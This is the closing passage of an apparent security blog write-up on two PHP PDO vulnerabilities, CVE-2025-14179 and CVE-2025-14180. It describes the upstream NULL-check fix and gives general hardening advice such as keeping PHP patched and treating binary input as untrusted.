The upstream change commit 727a4dd hardens PDO’s parameter parser by validating that plc->quoted is not NULL before invoking the ZSTR_LEN macro.
Now, if the driver’s quoting function (quoter) fails and returns NULL, the PDO parser handles this condition correctly, aborts the operation, and returns an application-level error instead of crashing the entire process with a segmentation fault.
Conclusion
CVE-2025-14179 (SQL injection in pdo_firebird via NUL bytes in quoted strings) and CVE-2025-14180 (NULL Pointer Dereference in PDO quoting) demonstrate that web application security is shaped not only by application-level code, but also by the PHP runtime and its native extensions.
Both issues share a common root cause: unsafe handling of edge-case input at the interface between PHP’s managed environment and C-level libraries. Whether the outcome is a subtle SQL injection condition or an immediate denial of service, the resulting business impact can be equally severe. A practical hardening strategy therefore has to be holistic: keep PHP patched, treat binary as untrusted input, avoid risky emulation modes where possible, and enforce ACID transactions for any multi-step financial or inventory workflows.
🐘 Thank you for reading. Stay tuned for the next write-up.